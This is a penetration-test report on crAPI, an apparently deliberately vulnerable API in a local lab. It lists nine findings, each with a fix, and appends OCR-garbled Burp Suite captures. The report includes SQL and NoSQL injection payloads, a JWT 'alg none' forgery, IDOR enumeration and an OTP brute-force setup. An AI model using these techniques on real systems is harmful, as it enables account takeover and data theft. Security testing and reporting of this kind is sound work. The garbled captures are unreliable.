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EXECUTIVE SUMMARY

We tested the crAPI web App and API to find security problems a real attacker could use.
We found several serious issues that let one logged-in user view or change another user’s
data, manipulate orders/payments, bypass authentication, and execute database attacks.
The most urgent problems let attackers see other users’ personal data and impersonate
accounts. Evidence (request/response captures and screenshots) is attached on the
appendices.



SCOPE AND RULES OF ENGAGEMENT

In-scope: All crAPI web app pages, all crAPI API endpoints, and actions performed with all
accounts (Jux, Baba). Given it is a test environment you are allowed to affect all users in
your local environment setup(crAPI local setup guideline).

Rules: non-destructive PoCs only, tests during agreed window, immediate stop if
production impact risk identified.

METHODOLOGY & TOOLS

Recon — automated discovery — manual verification — safe Proof-of-Concepts (PoCs) —
reporting.

Main tools: Burp Suite (intercept/repeat/intruder), curl, browser dev tools, non-destructive
sql/no-sql checks. All PoCs were performed against test accounts and documented.

FINDINGS

1) Broken Object Level Authorization (BOLA / IDOR)

Severity: Critical

Affected: GET /vehicles/{vehicle_id} and community pages exposing vehicle IDs

PoC: Change your request’s vehicle_id to another user’s ID (e.g., Jux — Baba) and the server
returns that other user’s vehicle details (VIN, location, owner email). Captures show
successful access.

Impact: Any logged-in user can read other customers’ personal data and live locations.
Remediation: Enforce server-side ownership checks: verify the authenticated user is
allowed to access the requested resource. Never trust client-supplied IDs.

2) JWT token tampering / unsigned token acceptance

Severity: Critical / High

Affected: JWT-authenticated endpoints (dashboard/admin data)

PoC: Modify JWT header alg to none, remove signature, and change sub to another user’s
email — the server accepted the token and returned higher-privilege data.

Impact: Full account impersonation and potential admin takeover.
Remediation: Reject unsigned tokens, accept only approved algorithms, validate
signatures and token claims (issuer, audience), and rotate keys.



3) Mass assignment / Business-flow manipulation

Severity: High

Affected: Purchase/order endpoints (quantity, price, status, refund fields)

PoC: Modified JSON fields in order requests (quantity, status) and observed changed
balances, refunds, and order states; created orders with manipulated totals. Evidence
shows balance increases from manipulated values.

Impact: Financial fraud (free items, inflated balances, unauthorized refunds).
Remediation: Server must compute and enforce prices and totals; ignore or block
client-supplied protected fields (status, price, balance). Validate and recalculate server-side.

4) NoSQL / SQL Injection (database injection)

Severity: High

Affected: Coupon input, shop fields, other user inputs

PoC: Submitted NoSQL payload ({"$ne":1}) and SQL payloads (' OR 1=1--) and observed
database-driven changes; select version() indicates PostgreSQL 14.19.

Impact: Data disclosure, tampering, or full database compromise.
Remediation: Use parameterized queries/ORM-safe APIs, validate and sanitize inputs,
apply least-privilege DB credentials, and add query logging/alerting.

5) Broken Authentication / OTP and account enumeration

Severity: High

Affected: Password reset / OTP flow

PoC: Forgot-password flow reveals whether an email is registered; OTP attempts allow
limited guessing but leak account existence.

Impact: Attackers can confirm accounts and attempt targeted attacks (OTP guessing /
phishing).

Remediation: Do not reveal account existence in responses, enforce strict rate limits,
shorten OTP lifetime, and add monitoring for abnormal attempts.



6) Broken Function-Level Authorization / HTTP verb misuse

Severity: High

Affected: Video management endpoints and admin features (PUT/DELETE/GET)
PoC: Changed HTTP method and ID values; server accepted unexpected verbs and
returned admin-related responses or allowed deletion when ID changed.

Impact: Users may perform actions reserved for admins or access restricted information.
Remediation: Enforce role-based checks server-side for every function and restrict
allowed HTTP methods per endpoint.

7) Server-Side Request Forgery (SSRF) via mechanic callback URL

Severity: Medium

Affected: mechanic_api callback / contact-mechanic form parameter

PoC: Replaced callback URL with https://google.com and server followed it — server made
outbound request to attacker-controlled URL.

Impact: Attackers can make server contact internal services or external endpoints,
potentially exposing internal resources.

Remediation: Allowlist outgoing domains, block internal IP ranges, and validate /sanitize
submitted URLs.

8) Unrestricted resource consumption/rate limiting gaps

Severity: Medium

Affected: contact-mechanic repeat count/endpoints with repeat parameter

PoC: Repeat parameter accepts up to 100; above that service becomes unavailable —
indicates insufficient server-side limits.

Impact: Resource exhaustion leading to partial denial of service.
Remediation: Implement server-side rate limits, per-account and per-IP quotas, and input
bounds checking.



9) Excessive data exposure/security misconfiguration (metadata)

Severity: Low
Affected: Community comments, uploaded video metadata
PoC: Public pages display user emails and internal device paths.

Impact: Extra information helps attackers craft targeted attacks.
Remediation: Remove or redact sensitive metadata from public views; sanitize uploads.

RISK/PRIORITISATION

Immediate (0-7 days) — Fix BOLA/IDOR and JWT verification issues (Findings 1 & 2).
High (7-30 days) — Fix mass-assignment, injection points, authentication/OTP issues,
and function-level auth (Findings 3-6).

Medium (30-60 days) — Implement SSRF protections, rate limits, and server-side
bounds (Findings 7-8).

Low (60-90 days) — Remove excessive data exposure, harden config and monitoring
(Finding 9).

CONCLUSION

1. Emergency (today): Disable endpoints that return other users’ data by ID or
enforce ownership checks; reject unsigned JWTs; add temporary WAF rules blocking
obvious attack patterns.

2. Fixes (7-30 days): Patch injection points, rework order/payment logic so server
computes totals and handles refunds, harden OTP and authentication flows.

3. Hardening (30-90 days): Add rate limiting, SSRF allowlists, strict role checks,
input validation, and DB least-privilege.

4. Long-term: Integrate secure development practices (parameterized queries,
server-side validation), automated security tests, and plan a re-test after fixes.



APPENDICES (screenshots, requests/responses, commands).

1. Broken Object Level Authorization

Being able to view another users data
So below is jux request and response as captured in burpsuite

S
Request jux request Response
Pretty Raw  Hex  Hackvertor ® W= | pretty Raw  Hex Hackvertor w =
\[[GET_/identity/api/vz/vehicle/387df ace- 2821 - 496a- Blc2- 87b80111ee33/ location HITP/1.1 | 1 HTTP/1.1 200
o5 g 2 server: openresty/1.27.1.2
i11a/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 3 Date: Sat, 18 Oct 2025 12:40:35 GMT

2 Content-Type: application/json

onnection: keep-alive

ary: Origin

Vary: Access-Control-Request-Method

& Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosnif

Accept: +/+
Accept-Language: en-US, en;q=0.5

5 Accept-Encoding: gzip, deflate, b

7 Referer: http://127.0.0.1:8888/dashboard
5 Contant-Typa: application/json
 Authorization: Bea

eyahbGes 01 9UAT N 90, evaawlx0:JlZEEkZGFkLnvaS!s!mlhchSMT:zMD:AOTgAM;w;thwl]an’vaLkDNJquCbeleI]oxdeltsj 10 X-XSS-Protection: 0

s w

9.noHKMXM_SFTKGPLIWHXQ) LmoxY_2Vvhj_200f Va7W_yIYJS9veYPOvxaNvdf gFatFXEErLahdpUOQBL vlHlezozicnInU |11 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
3r_7FQ- 051vqZ7n01En3STC- WRepDOSHLX - NDKZSnLO- eFkQSeLGUdfy fpSLZSSBUQPUY magAei - AZequDSQquPZkJ]]hE]l]ACF]EgANFumN 12 Pragma: no-cache
kXap10bESSt4PHKETWi EzHSrwBwPr go7VpXSce7cPY aH7fYqT e 3xF63LeMIboc auBnpaki- 7cETyzcf eWei 51 3qdyNGokn02T Gl6oPXd2vdphAo |15 Expires: O

14 Strict-Transport-Security: max-age=31536000 ; includeSubDomains

ol 1

10 Connection: keep:ali 15 X-Frame-Options: DENY

11 [Cookie: chat_session_1d=dd16566b-590f - 420f -b733- 268995c4adcE 16 Content-Length: 162
Sec-Fetch-Dest: empty \JL X cookie 1

Sec-Fetch-Mode: cors 18
Sec-Fetch-Site: same-origin "carld® :*387df acs- 282f - 496a- 81c2- 87bE0L1Lee33"

Priority: u=0 *ehiclatocation’ st
\J”X data

“Tati tuder 31, 28a758"
*longi tude* :"-2. 471176

1,
*Fullame® :*jux®
1 Ed@Jddd vom"

Below is baba car _id

"carId":"a97bebee-6214- 4ccl-927c-shfonzgvoffer,
"yehiclelocation":{
"1dh:s,
"latitude" :" 37, 405789",
" lcmgitude" -84, 75528
}r
"fullMame" : "baba",
"emall" :"edd@dddd. vom"

s
By changing the request of Jux request to Baba'’s request that is his car_id we get. this

Response

Request
®RE " = pretty  Raw  Hex Hackvertor

Pretty  Raw  Hex  Hackvertor
[T Jidentity/api/varvehicle/asbshes- 6214 docl-027c-Shi 90370 fey Location HITR/L. HITP/1.1 200

5 Server: openresty/1.27.1.2

Date: Sat, 18 Oct 2025 12:52:33 GHT

Content-Type: application/json
< Accept-Language: en-U: s i . Connection: keep-alive
6| Accept-Encoding: gzip, deflate, br changed the ca 6 Vary: Origin
7 Referer: http://127.0.0.1:8888/dashboard > Vary: Access- Control-Request-Hethod
& Content-Type: application/json & Vary: Access-Control-Request-Headsrs
) Authorization: Bearer X-Content-Type-Options: nosnif

jser- Agent: Mozilla/5.0 (X11; Linux x86_64; rv Gecko/20100101 Firefox/128,

Accept: */*

eyJhbGei 01 JSUZT 1N J9. ey JzdwI 1 01 1 ZEBk ZGRKLnZvbST ST mLhdCT 6MT c2HDC 0T gaMi wi ZXhwl j oxNzY xMzkONj gyLCIyb2x T j o1 dXLei ) X-XS5-Protection: 0

9.noHKMxM_SFTKGPLNWHXQ) 1moxY_2Vvhj_200f V47W, vIvJstewsvxaNuaoq=axsxsEquhdpuooElazwany Go_OMqt80vLHlezozicnInU Cache-Control: no-cache, no-store, max-age=0, must-revalidate

3r_7FQ- 051vqZ7n0LEN3STC- WRepDISHLX - NDKZ5nUO- eFkQSeLGUdf yfpSL 9- 4ZeqqCD5EKqsPZK)j 1hej 1] 4C > Pragma: no-cache

5Kk ¥ap| GbESTAPHKETWi EZHSTWBWPr g 7VpXSce7CPY a7 FYqTe3xF63LeMaboc f auBnpai- 7cET yzcfeWei i 3dyNsokno2TG160PXd2vdpWAo 13 Expires: O

P Lulig Strict-Transport-Security: max-age=31536000 ; includeSubDomains
0 e X-Frame-Options: DENY

Content-Length: 164

590f - 420f - b

"carld" : "ag7bebee- 6214- dccl-927c- Sbf 03870f e ,

"vehicleLocation" :
7.406769" ,
-94.705528"

fullName “baba" Baba details
el addodddd von

15 Priority: u=o
16

By being able to know other car_id 'm able to view data of other vehicles e.g the current
location of the car, owner and owner’s email.



Request Response

Pretty  Raw  Hex  Hackvertor n Pretty Raw  Hex R Hackvertor
= /cummumty/ap)/vz/cummumty/pusts/recenm)m S080ffset=0 HTITP/1.1 it

oy "posts®: [

3 user—Agent. Muz)lla/S.O (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 {

4 Accept: /¥ "id" :dKwelYISYLUSELOdR2AKg" ,

5 Accept-Language: en-US,en;q=0.5 rtitler s Title 3, .
Accept-Encoding: gzip, deflate, br teontent : Hello vorld 3,
Referer: http://127.0.0.1:8888/forum author o
Content-Type: application/json CmicknanessoRobott, )

Authorization: Bearer

eyhbGei0LISUZT NG J9. eyd 2dWT1 0191 ZEBkZGRLnZvbST s1ml hdCI 6MT c2MDE AOT gaMiwi ZXhuT j oxNzY xMzkONj gyLCIyb2x T joi d¥lei

[vehicleid":"ab - ec7f - de3. a3a0-b. .

9. noHKMxM_SFTKGPLNWHXQI 1moxY_2Vvhj_200f V47w _vIYJS9veYPSvxaNvdfqFatFX8ErLqhdpUOQBLaZwByyD- Go_OMqt80vLHLezozienInU "profile_pic_url":"r,
3r_7FQ- 051vqZ7n0TEN3sT C- WRepDOGHLX - NDKZ5nUO- eFkQSeLGUdf yfpSLZSSBUGPUY maqAei 8- 4ZeqqCDSSKqsPZk.) ] 1he] 1] ACF18gANFomN "created_at":*2025- 10-16T18:11:15.6562"
8kXaplGb8S5t 4PHKETWi EzHSrwBWPr go7VpXSce 7cPY aH7 Y qTe3xF63LeMIboct auBnpaii- 7cET yzcf eWsi 5i 3qdyN6okn02T Gl60PXd2vdphAo I
M WU "comments
B i kesp ,
1 Cookie: chat_session_1d=dd16586b-590f - 420f - b733- e68995c4ad98 "authorid®:3,
- Sec-Fetch-Dest: empty "CreatedAt":"2025-10-16T18:11:15.6562"
Sec-Fetch-Mode: cors g
Sec-Fetch-Site: same-origin {
Priority: u "3d" " vgsI9Y SoKKdxsHYVWCHF VMY ,
stitler: Title 27,
"content”: "Hello world 27,
"author”
“nickname" :"Pogba
"email : "pogha00se:
Tvehicleid" :"cdslc12-Ofcl- 48ae. Bb61- 923007028450, | P
Lﬁé}w e vehicle id
"created_at:*2025- 10- 16T18:11:15. 652"
"comments”
*authorid®
Createdat: -+ 2025-10- 167 18:11:15. ez
1
€
"id" " dEBhsuYKTSSi SHndBPLK jC" ,
rtitler: Title 10
"content”: "Hello world 17,
"author”
“nickname" :" Adam",
vomail;r o

[vehicleid:

'+ £89bS{ 21-7829- 45ch- a650- 209261090378, |

TproT1 (e prc_

TR
312025- 10- 16T18: 11:15. 642"

“created_at"

By navigating to the community tab we can get to see various vehicle id and we can use it to

see other users data.

=

Request Response
Pretty  Raw  Hex  Hackvertor " Pretty  Raw  Hex Hackvertor =
1| e /)dent)ty/apl/v2/veh)cle‘cd5]5c]2 Ofc1- a8ac-8b61-5230b70a845b) Location HITP/1.1 1 HTTP/1.1 200

Host—12 2 Server: openresty/1.27.1.2

User- Agent: Wozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 3 Date: Sat, 18 Oct 2025 13:10:00 GMT

Accept: */+ X . 4 Content-Type: application/json

Accept Language: en-US, el .5 tried with Pogba vehicle Connection: keep-alive
; Accept-Encoding: gzip, doflate, Vary: Origin

Referer: http://127.0.0.1:8888/dashboard

; Content-Type: application/json

) Authorization: Bearer
eyJhbGei 03 JSUZI 1N J9. ey JzdWI 1 01 1 ZGRAZGRK ZC52b201 L CIpY XQi 0] E3N] AODY SMTK ST mV4cCT SMT c 2MTMSMT Ux0Swi.cn9s ZST 6InVzZXT
ifq. GTEKSI3DY7deyJAzrELwyzwALERM?GtFIuDafTM]Nyx8 KRV CoozqueafMUNNSTONGY. SvcIKvenLL- XS XD7otuIHBISUZME
NyFCZ1aS6- PHMUF 3IrdJoReYnnA_zfNL_3GgbxLzt, hck VkLeUT JewkY 4DHkyDnmf YE-TNOLXTNSIG) f
HYLocaShKH! BAGHISEL 21 yUGRST NSk 5055 cDtGat TUOHGIZ8NDS a7 Zne 1oLV BSSSTVLeHB1ny chonl GyxZixsx2qrabs)4fesyul
GxHrQOOFRQ

oo
Coc-Fatch.pes

Sec-Fetch-Site:
Priority: u=o

same-origin

Access-Control-Request-Method
Vary: Access-Control-Request-Headers

X-Content-Type-Options: nosniff

X-XSS-Protection: 0

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
ragma: no-cache

Strice-Transport: Security: max-age-21535000 ; includesubDonsing
X-Frame-Options:
Content-Length: e
€
"carTd® : "cds15c12- Of c1- 48ae- 8b61- 9230b70a845b"
"vehicleLocation®:{
vidh:2,

*latitude* :*31.284788", L Pogba details
*Longi tude* :--92.471176"

"fullName" :"Pogba®
"email”: "poghacosgexample. com'

Using other vehicle Id we can still achieve this.

We can contact a mechanic from the dashboard. So we decided to report a car issue and got

this from the burpsuite

Request Response

Pretty  Raw  Hex  Hackvertor n Pretty  Raw  Hex R Hackvertor
P e o e e B 1 HTTP/1.1 200 oK

2 Host: 12 2 Server: openresty/1.27.

> User-agent emities.0 0az; Lins x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 2| et S 16 oer. 2o Torasson cur
4 Accept: */* 4 Content-Type: application/json

5 Accept-Language: en-US, .5 s

Accept-Encoding: gzip, deflate
Referer: http://127.0.0. 118868/ contact - mechanic?VIN-BREINXIBY 4322WK68
Content-Type: application/json
Authorization
y3hbGei 0L ISUZTINSJ9. ey JzdWIi 01 11 ZEBKZGRkLnZvbST sTmLhdCI6MTc2MDC 40T g4Mi wi ZXhw  oxNzY xMzk ONj gyL Clyb2xLTj o3 dXNLei )
9. noHKMxM_SFTKGPLNAHXQ] LmoxY_2Vvhj _200f V47W_vIYJ59veYPSyxdNvdfqFatFXeErLahdpUOQBLaZvByyD- Go_OMqte0y LHlezozicnIny
3r_7FQ-051vqZ7n0TEN3STC- WRepDIGHLX - NDKZ5nUO- eFk QSel GUdf yf pSLZ5SBUQPUY maqAei 9- 47eqqCDSSKqsPZk.j 1he] L] 4CFLag ANFomN
47 LGS T, ST uPr 07V TCPY a7 YT e 3xGaLeMIboc aunp - 7Bl cf oS3 oy NeokrnTGLEGPXE2cpiko 13
raw:
Content-Length: 277
http://127.0.0.
keep:alive,
chat_session_id=dd16586b- 590f - 420f - b733- e68995c4a498
e Fetchpese:

10

nosni
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy
Content-Length: 154

ENY
X-Content - Type options:

same-origin

"response_from_mechanic_api®:{
"idi:10,

"sent®:true,
"report_link":*http: //127.0.0.1:8888/workshop/api /mechanic/mechanic_report?report_id=10"

14 empty

15 Sec-Fetch-Mode: cors 1,

16 Sec-Fetch-Site: same-origin "status" :200
Priority: u=o ¥
1

"mechanic_code’ :*TRAC JHN"
"problem_details": "My engine o1l 1s Leaking.
"yin' ;" EREINXIBY4322MKGE"

"mechanic_api® 't tp://127.0.0.1:8688/workshop/api/mechanic/receive_report,
"repeat_request_if_failed":false,

“nunber_of_repeats

T'm also having issue with my car tabulator.

the report_id parameter raises eyebrows




We decided to view the report by trying to change the report_id parameter with various

data.

Request Response

Pretty  Raw  Hex  Hackvertor
1 GET /workshop/api /mechanic/mechanic_report?report_id=g| HTTP/1.1 1 HTTP/L.1 200 OK
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Sat, 18 Oct 2025 1 4146 GMT
Accept: */* Content-Type: application/jsen
S Accept-Language: en-US,en;q=0.5 Connection: keep-alive
Accept-Encoding: gzip, deflate, br Allow: GET, HEAD, OPTIONS
7 Content-Type: application/json 7 Vary: origin, Cookie
g Authorization: Bearer X-Frame-Options: DENY
ey3hbGei 01 SUZTINL IS, eyJzdWl 101 31ZE8KZGRkLZy bST sTmlhdCT6MT c2MDCAOT gaMi wi ZXhwT j 0xNzY xMzkON] gyLCIyb2x 1T joi dXNLei X-Content-Type-Options: nosniff
9.nOHKMXM_OFTKGPLNWHXQI 1moxY_2Vvhj _200fV47W_vIYJS9veYPOvxaNvdf qFatFX8ErLqhdpUoQBLazvByy D- Go_OMqtE0v LHLezozicnIny Referrer-Policy: same-origin
3r_7FQ- 051 vqZ7n01 En3sTC-WRepDOGHL - NDKZSnUO- e FkQSel GUdfyf pSLZSSBLQPUY magAei O- 4ZeqqCDSeK qsPzk 1 1hej 1] 4CF18gANFomN Cross-Origin-Opener-Policy: same-origin
8kX4p1GheS5tAPHKETWI EzZHSrwBWPrgo7VpXSce7ePY aH7fY qTe3xF63L eMIbocf auBnpal- 7¢ET yzcf Wi Si 3qdy Néokn02TG160PXd2vdpWao Content-Length: 389

N = pretty  Raw  Hex Hackvertor

IS

rawilwlQ
Referer: http://127.0.0.1:8888/ contact- mechanic? VIN=8REJNX1BY 4322MKE8 12 {
Connection: keep: al; vidv:s,
chat_sess1on_1d=dd16586b-500f - 420f - b733- e68995c 42498 "mechanic":{
> Sec-Fetch-Dest: empty "idvil,
3 Sec-Fetch-Mode: cors "mechanic_code" : "TRAC_JHN",
14 Sec-Fetch-Site: same-origin ruser:{
S Priority: "email®:* jhon@example. com,
5 “number™ ;"
i

+
"vehicle':{
"id":52,
"vin" ;" 8RBINX1BY4322MK68" ,
"ouner” :{
"email
"number

edadddd . vom" ,
1425471234567"

1

¥,
"problem_details"
"status”: 'pending",

"created_on":"18 October, 2025, 13:31:00",
“updated_on®
" comments" : [

1

The above shows our report.

"My engine oil is leaking. I'm also having issue with my car tabulator.”,

So we sent it to the intruder to try out various values in the report_id to see mechanic

@ [soperatt :
Target | http/127.0.01:8888 Update Host header to match target
Positions Add § Clear s Auto §

1 GET_/workshop/api /mechanic/mechanic_reportireport id=54s HITP/1.1]————— Change value of report_id

Host: 127.0.0.1:8888
nt: Mozilla/5.0 (X11; Linux x86_64; rv:

28.0) Gecko/20100101 Firefox/128.0

RS

en-Us, en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

5 Authorization: Bearer
eyJhbGei 01 JSUZT INLJS. eydzdWT i 01,9 1268k ZGRkLZvbST s1ml hdCT6MT c2MDCAOT gAMi i ZXiwT  oxNzY xMizk ONj ayLCIyb2x LT joi dXNLei J9. nokKMxM_SFTKGPLNWHYQI LmoxY_2Vvhj_200fVA7W_vIYISOveYPovxaNvd
fqFatFXEErLahdpUOGBazvByyD- Go_OMqt80vHLezozi cnInU3r_7FQ- 051 vqZ7n0TE3sTC- WRepDIGHLX - NDKZ5nUO- eFkQSeL GUdf yfpSLZ5SBUQPUY maqAei 9- 42eqqCD59KqsPZk]  1h8j 1) ACF18gANFomNEkXap LGbaS
5t4PHKETWi EzHSWBWPr go7VpXSce7cPY aH7fYTe3xF83L eMIbocT auBnpaki- 7cET yzcf ew61 5i 3qdyN6okn02T G160PXd2vdphiAor g 1wlg

o Referer: http://127.0.0.1:8888/contact-mechanic?VIN=8RBINX1BY 4322MK68

o Connection: keep-alive

11 Cookie: chat_session_id=dd16586b- 590f - 420f - b733- e68995c4ad98

12 Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

5 Priority: u=0

Here is the

Results  Positions
'V Capture filter: Capturing all items

V View filter: Showingall items.

Payloads

Payload position:

Payloadtype: | Numbers

Payload count: 20
Request count: 20

Payload configuration

“This payload type
a specified format.

andin

Number range

Type: © Sequential ) Random
From: 1
20
step: 1
How many:
Number format
Base: © Decimal Hex
Mininteger digits: | 0

Max nteger digits:

Min fraction dinite

2

o

output

Request Payload Status code Response received Eror Timeout Length Comment
o 200 1050 804
1 1 200 681 813
2 2 200 737 818
3 3 200 676 824
4 4 200 s 804
5 5 200 647 816
6 6 200 670 726
7 7 200 723 726
8 8 200 647 726
o 9 200 76 726
10 10 200 668 727
n n 400 129 405
2 12 200 31 405
3 3 200 133 405
1 4 400 137 405
s 15 400 88 405
% 16 400 83 405
7 17 400 135 405
8 8 200 106 405
1 19 a00 101 405
20 20 400 83 405

This shows that report_id 1-10 exists, for POC i'll use ID 4 and here is the data.



Request Response

Pretty  Raw  Hex  Hackvertor W = pretty Raw  Hex Hackvertor
=, /wurksmp/ap)/mechamc/mechamc,repurtmu/].] 1 HTTP/1.1 200 OK

> Host: 127.0.0.1:8888 > Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 3 Date: Sat, 18 Oct 2025 14:15:23 GMT
Accept: */x 4 Content-Type: application/json
Accept-Language: en-US,en;q=0.5 Connection: keep-alive
Accept-Encoding: gzip, deflate, br Tlow: GET
Content-Type: application/json Vary:
& authorizatio X-Frame-Options: DENY
y3hbGei 01 SUZT 1N JS. ey JzdLi 01 11 ZEBkZGRKLNZYbST STmLhdCL6MTC2MDC 40T gAML wi ZXhwT j oxNzY xMzkoNj gyLCoyb2x T joi dxNlcid X-Content-Type-Options: nosniff

. NOHKMKM_SFTKGPLNWHXQ) LmoxY_2vvh_200f VA7W_vIY59veYPvxaNvdf qFatFXeEr LghdpUoQBl aZuByyD- Go_oMqtaOvlHLezozicnInU 10 Referrer-Policy: same-origin
3r_7FQ-051vqZ7n01 En3sTC- WRepDISHLX - NDKZ5NUO- eFkQSeL GUdf yf pSLZSSBUQPUYMagAe1 8- 4ZeqqCDSIKqsPZk) j 1h8] 1] ACF18gANFOMN |11 Cross-Origin-Opener-Policy: same-origin
8k Xap1GbaSSTAPHKETWL EzHSrWBWPr go7VpXSce7cPY aH7 Y qTe3xF6aLeMiboct auBnpahl- 7cET yzcf eei 51 3qdyNokn02TGl6oPXd2vdphAo |12 Content-Length: 467

a

rabii JwlQ 3
Referer: http://127.0.0.1:8888/contact-mechanic? VIN=BRBINX1EY 4322MKE8 14 1{
Gonnection: keep:alive vidr:a,
ookie: chat_session_id=dd16586b-500f - 420f -b733- e68995cda498 "mechanic":{
Sec-Fetch-Dest: empty vidvil,
Sec-Fetch-Mode: cors "mechanic_code” : "TRAC_JHV",
Sec-Fetch-Site: same-origin ruser®:{
5 Priority: u=0 "emailr:"jhonexanple. com,
6 “number? ;"
17 i
"vehicler{
vidi:s,
"vin® ;" 6NBBY 70PWLNE24316" ,
"ouner® :{

vemail" :*admin@exanple. con' ,
“number® :*9010203040"

b

T
"problem_details":
"My car Audi - RS7 is having issues.\nCan you give me a call on my mobile 9010203040, \nOr send me an email
at admingexample. com\nThanks, \nadmin.\n" ,

"status”: "pending’ ,
"created_on":*16 October, 2025, 18:

1:520,

" comments” :
1

2. Broken Authentication

Trying to get access another persons login credentials

Once you logout and click forgot password, one is asked to enter their email where an OTP
is to be sent. The email must be a registered user or you'll get an error. After inputting the
correct email one gets the OTP sent to the email provided, where next you input the OTP
and new password.

Trying to manually bruteforce it, you get allowed to guess it for only 10 chances and get an
error.

Request Response

Pretty  Raw  Hex  Hackvertor
1 POST /identity/api/auth/v3/check-otp HITP/1.1 1 HITP/1.1 503
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Sat, 18 Oct 2025 14:37:37 GMT
Accept: */x ontent-Type: application/json
Accept-Language: en-US, en;q=0.5 onnection: keep-aliv
Accept-Encoding: gzip, deflate, br Vary: origin
Referer: http://127.0.0.1:8888/forgot-password Vary: Access-Control-Request-Method
Content-Type: application/json Vary: Access-Control-Request-Headers
Content-Length: Access-Control-ALlow-Origin:
o origin: http://127.0.0.1:8888 X-Content-Type-Options: nosnitf
Connection: keep-alive X-XSS-Protection: 0
> Cookie: chat_session_id=dd16586b-590f - 420f -b733- e68995c4a4es > Cache-Control: no-cache, no-store, max-age=o, must-revalidate
5 Sec-Fetch-Dest: empty Pragma: no-cache
Expires:

Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-Frame-Options: DENY

5 Priority: u=
Content-Length: 66

= | pretty Raw  Hex Hackvertor

LR
s

c
c

€
vemail*:* eddadddd. von”
"otp":"1235", "message":"You've exceeded the number of attempts.",
"password" :* GEd1234567" "status" :503

¥ ¥




0 Success

OTP has been sent to your registered emailid

® | sniperattack o Payloads

Payload position: | All payload positions

Target | httpi27.0018888 Update Host header tomatch target | o ve [ \umbers o

Payload count: 10,000

Positions Add § Clear § Auto § Request count: 10,000
1 POST /idantity/api/auth/va/chack-otp HITP/1.1 . — .
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
7 Accept: /% t range andin
S Accept-Language: en-US, en;q=0.5 2 specified format.
& Accept-Encoding: gzip, deflate, br -
7 Referer: http://127.0.0.1:8888/forgot-password Bumberrange]
5 Content-Type: application/json i i e Senventiall© Remck

Content-Length: 61 the start and finish of the values to try out L= Ozl OEmD
o Origin: http://127.0.0.1:8888 | From: 0000

Connection: keep-alive T s000
12 Cookie: chat_session_id=dd16586b- 590f - 420f - b733- e68995c 42498 o

Step: 1

15 Sec-Fetch-Dest: empty
14 Sec-Fetch-Mode: cors

S Sec-Fetch-Site: same-origin How many:
16 Priority:

15 {"email*:"eddadddd.vom", *otp": ,"password® :*GEd1234567" }
Base: © Decimal Hex

Mininteger digits: | 4
number format<@—" maxinteger digits: | 4

attack vector where the payload is to try out Min fraction digits: | 0
0

Max fraction digits:

Examples



Forgot Password

v Email Verification o Reset Password

Invalid OTP! Please try again..

invalid otp/ credential




185 0184 503 20 580
186 0185 500 18 548
187 0186 500 20 548
188 0187 500 n 548
189 0188 500 18 548
190 0189 500 n 548
191 0190 500 19 548
192 0191 500 19 548
193 0192 500 19 548
194 0193 500 18 548
195 0194 500 18 548
196 0195 500 n 548
197 0196 500 20 548
Request  Response

Pretty  Raw  Hex Hackvertor

1 HTTP/1.1 503
> Server: openresty/1.27.1.2

= Date: Sat, 18 Oct 2025 18:17:08 GMT

Content-Type: application/json

= Connection: keep-alive

5 Vary: origin

7 Vary: Access-Control-Request-Method

§ Vary: Access-Control-Request-Headers

5 Access-Control-Allow-Origin: *

10 X-Content-Type-Options: nosmiff

11 X-XSs-Protection: 0

12 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
3 Pragma: no-cache

4 Expires: O

trict-Transport-Security: max-age=31535000 ;
16 X-Frame-Options: DENY

17 Content-Length: 66

includeSubDomains

1t
Ymessage’ :'You've exceeded the number of attempts.',
"status" 1503
T

3. Broken Object Property Level Authorization

Excessive data exposure

*«@ n =

Refers to revealing too much information that isn't required to be published.
When you go to the community tab you get to see critical information of other users since

they commented on something.

202 httpiN127.0.01:8888 GET v 200 1378 JSON 21:333518 Oc... 8080 127.001
Request Response
Pretty Raw  Hex  Hackvertor o W = | pretty Raw  Hex Hackvertor

1 GET /community/api/v2/community/posts/recent?limi t=30s0f fset=0 HTTP/1.1
2 Host: 127.0.0.1:8888

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language:
Accept-Encodi

T T dRwe LY ISV ELUSTLOdaARGT ,
le 3",

3,

s w

:"Robot,
robotooL@example. com,

"email”
"vehiclei
“profile_pic_url:

5 Content-Type: application/json

o Authorization: Bearer

eyIhbGei 01 JSUZT 1N J9. ey zdWI 01 71768k ZGRk Lnzvb ST SImLhdCL6MT c2MDQgxMI MLOGW: ZXhwI | 0xNzY XNDESMTUALCIyb2x 11 joi dxhileid
9.d8b0jy rfipNXTIEqAOTWOBP; 1By7X4gqi K121 22 rZT 2c Qupd0SNLaxyHrpJ_FUgT]kEAVVOVyEcw] dmgi SgECuaj_HnehANjFP- CdScd4sdny
UzWXFJ20MzPHy 8XGF NJ0aN9T qwRLXbK 4mnn- Lm\/_waHLHMi LSUZIDr1 0AxkNYJ17NMANT WOf EEVbMNK ] pIpMFdFQP24ThAsGMSVZdz_TeTwSvecFH
